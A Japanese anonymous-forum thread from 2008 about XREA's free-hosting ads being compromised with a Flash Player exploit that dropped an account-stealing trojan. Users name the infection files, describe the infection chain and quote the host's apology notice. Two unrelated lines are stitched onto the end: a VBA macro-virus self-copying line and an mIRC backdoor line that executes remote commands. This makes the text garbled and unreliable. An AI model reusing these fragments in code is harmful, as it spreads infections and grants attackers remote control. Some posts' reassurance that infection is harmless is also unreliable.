XREAの広告にAdobe Flash Playerの脆弱性をついたスクリプトが混入

何が仕込まれちゃうの？おせーて

こないだセキュメモに出てたお
http://www.st.ryukoku.ac.jp/~kjm/security/memo/2008/06.html#20080613_XREA

また中華のMMOのアカウント盗むやつっぽい

時代はTok2とぶっとびネット、あとフリーなんとかシアター

ばかやろう、俺のサイト経由でも感染してんじゃねーか。
avast!でモロ引っかかってやがったぜ。
でも、独自ドメインなのに訪れんの俺と家族だけなのよねー（T◇T）。

>>1
ご激怒って何よ

ニコニコ死亡ってことですね。わかります。

>>75
晒してくれたら遊びに行くよ。

これなー
AVGがorz.exeってやつを検出した。これはすぐ隔離したから大丈夫だったんだけど、
念のためにスキャンしたらtaa[1].gifってファイルが隠れてた。
こっちには反応しなかったんだよな…

taa[1].gif ってなによ

>>79-80
脆弱性突いたswfファイルが呼び出すのが
taa.gif
中身は実行ファイルになってる

この脆弱性ネトゲでえらい被害出てるよ
昔はゲーム内BOT程度だったんだけど
どんどんエスカレートしてアカハック、今や完全に犯罪

そのうち銀行口座とかやり始めんじゃねーの

糞レア

ネットゲームのパスワードだけしか盗まれないと、安心していたら
銀行のパスワードを盗まれたでござるの巻

ネトゲのパス抜いても日本の警察は中国には手出せない
それを知っててやってるんだろう
銀行のパス抜いたらさすがにやばいんじゃないかな

taa[1].gifで検索したけど出てこなかった。Adobe Flash Playerが最新だったもより。

放置ワロタｗ
xrea使ってるサイトはちょっとお高くとまってたりするのが多いから、
ザマーみろだｗ

javaスクリプトとか切っておけよ・・・

ALEXAツールは正直ウィルス。
海外のサイトまわってると感染する。

・グーグルに報告してインデックスを削除してもらう
・レジストラに報告してxrea.comドメインの停止

これが必要だろ

昔、上位レジストラからxreaのドメインが停止された時の理由が
フィッシングサイトを消さなかったからというものだったよね。
そして今回はトロイのバラまきを猛々しく続けるxreaなわけだが、
また制裁でドメイン停止とかされないのかちょっと心配。

XREAって何て読むの？サイゼリア？

>>92
エクレアってずっと読んでた

エクスリアだって

>>92
「クソりゃー」が正解です

で、まだ直ってないの？
この会社はペーパーカンパニーか何かなの？

>>75
今回のウィルスはavastでも防げたの？

>>95
え？直す直さないじゃなくて
広告Flashに運営が埋め込んでたって話でしょ？

それよりアクセス解析のエラー直せ
金払ってるのに詐欺だぞ

>>97
ＸＲＥＡの無料広告は５つの広告サーバーからランダムで選択され表示されるんだが、
うち１つが汚染され、そこ経由の広告が表示されると埋め込まれたJavascriptが自動的に実行＞害swf実行＞ウィルスexeダウンロード
という流れらしい。

ぱっとＸＲＥＡ

>>1
激怒に御は使わない

自宅鯖やってるけど全然使わないで広告入りのレンタル鯖使ってるわ

ウィルス感染しているかの確認方法 まとめ

97 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2008/06/16(月) 04:25:38 0
>>96
とりあえずorz.exeとi115.swfがPC内に紛れてないか検索しとけ、今回の犯人
あとカスペルスキーのオンラインスキャンお勧め

102 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2008/06/16(月) 07:49:13 0
>>97
taa.gif(orz.exeのドロップ前の名前)、
sonb32drv.dll(orz.exeがドロップするトロイ)も追加で。

ん

　　　　　　　　　　　　　　　 ＿∧＿∧＿∧＿∧＿∧＿∧＿∧＿∧＿
　　　　　ﾃﾞｹﾃﾞｹ　　　　　　|　　　　　　　　　　　　　　　　　　　　　　　　|
　　　　　　　　ﾄﾞｺﾄﾞｺ　　 ＜　　　　　　倒　産　ま　だ　ー　？　　　　 ＞
　　　☆　　　　　　ﾄﾞﾑﾄﾞﾑ　|＿　＿　 ＿　＿　＿　＿　＿　＿　＿　＿|
　　　　　　　 ☆　　　ﾀﾞﾀﾞﾀﾞﾀﾞ! ∨　 ∨　∨　∨　∨　∨　∨　∨　∨
　　ﾄﾞｼｬｰﾝ!　　ヽ　　　　　　　　　ｵﾗｵﾗｯ!!　　　 ♪
　　　　　　　　　＝≡＝　∧＿∧　　　　　☆
　　　　　　♪ 　　／　〃（･∀･ #）　　　　/　ｼｬﾝｼｬﾝ
　　　　♪　　　〆 　┌＼と＼と.ヾ∈≡∋ゞ
　　　　　　　　　|| 　γ ⌒ヽヽコ ノ　　||
　　　　　　　　　||　ΣΣ 　.|:::|∪〓 　||　　　♪
　　　　　　　 .／|＼人 ＿.ノノ _||_.　／|＼
　　　　　　　　　ﾄﾞﾁﾄﾞﾁ!

xreaざまあｗ
広告踏んだかもしれない俺も涙目ｗ

Jane Styleがxrea.comだけど大丈夫なの？

無料ユーザー向け広告配信サーバーの不具合について
下記内容で、広告配信用キャッシュサーバーで不正なファイルが設置されている不具合が発生しておりました。

○内容：
現在、5台を広告配信用キャッシュサーバーとして運用していますが、その中の1台で6月初旬から不正なページが設置されておりました。
このため、無料ユーザー様のページ内に自動挿入される広告にて不具合が発生しました。アドレスは「imgj.xrea.com」となります。

○対応：
サーバーを初期状態に戻し復旧しております。

○原因：
外部委託し運用しているため、不正なページの設置が、サーバー外部からなのか、内部からなのか、どのようなページなのかなど詳細については、
現在も調査中となっております。わかり次第、追って、アナウンス、修正させていただきます。

○今後の対策：
コスト削減のため、外部委託で管理しておりますが、このため弊社側で、ログインができなかったなど、多々問題が発生し、多々ご迷惑をお掛けしました。

正当な理由にはなりませんが、無料サーバー部門については完全な赤字となっており、なるべくコスト削減を行い、長期運営を図るよう努力してまいりました。
現在もドメインのご利用のお客様を中心に新たにご利用が増加している状況にあります。
しかし、有料契約のお客様以上に頻発する規約違反への対応問題などで、コストは増加する一方で、かつ、管理における問題も発生する状況になっております。

ご利用のお客様にもご迷惑をお掛けするのは決して許されませんが、それ以外の外部の方にもご迷惑をお掛けする許されない状況
（迷惑メール、スパムブログ等々）が増えつつある事実があります。

8月にて無料サーバー開始から8年となります。今後の無料サーバー自体の方向性も含め見直しを図る所存です。

また、各サービスにおいて、再び、自社で管理する体制に順次戻していく予定です。
この度はご迷惑をお掛けし大変申し訳ございません。
以上、よろしくお願い申し上げます。
ttp://sb.xrea.com/showthread.php?t=12839

そういえばadobe flashの更新がこの間来てたなぁ
これ関連なのかな？

＞正当な理由にはなりませんが、無料サーバー部門については完全な赤字となっており、
＞しかし、有料契約のお客様以上に頻発する規約違反への対応問題などで、コストは増加する一方で、
なんだこれ　部活かなんかで運営してんのかよ

Flash更新してないけどやばいの？
xreaのページなんてどこにでもあるしおそらく踏んでるし
バスター先生対応してなさげだし・・・

>>111
感染してもPCへの破壊活動とかはない
オンゲのアカウント乗っ取られたり
（キャラクターの有り金持ち物下手すりゃキャラごと無くなる）
ミクシーやメッセの情報抜かれたり
（友人知人に親しげにウイルス送りつけて感染させたり）
する程度だから安心しろ。

安心しろってウイルス送りつけて感染させるとかめっちゃ悪質だろうにｗ

>>113
オンゲやってなくてミクシーとかメッセもやってなかったら安心ってことさ
ノートンの評価も危険度１だ

ちなみに俺はオンゲやっててFFなんてえらいことになってる

>>113
心配なら>>103を検索してみればいいじゃないか

無料全部止めちまえ、ドメインと有料サービスだけやれよ

http://science6.2ch.net/test/read.cgi/infosys/1190737104/l50

>>116
ちょっｗｗｗ勘弁してくれｗｗｗｗ

>>116
何で無料やってるんだろうなｗ

暇つぶしか？

有料優良ユーザーにとっちゃ負荷増えるし困ったもんだろうにｗ

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-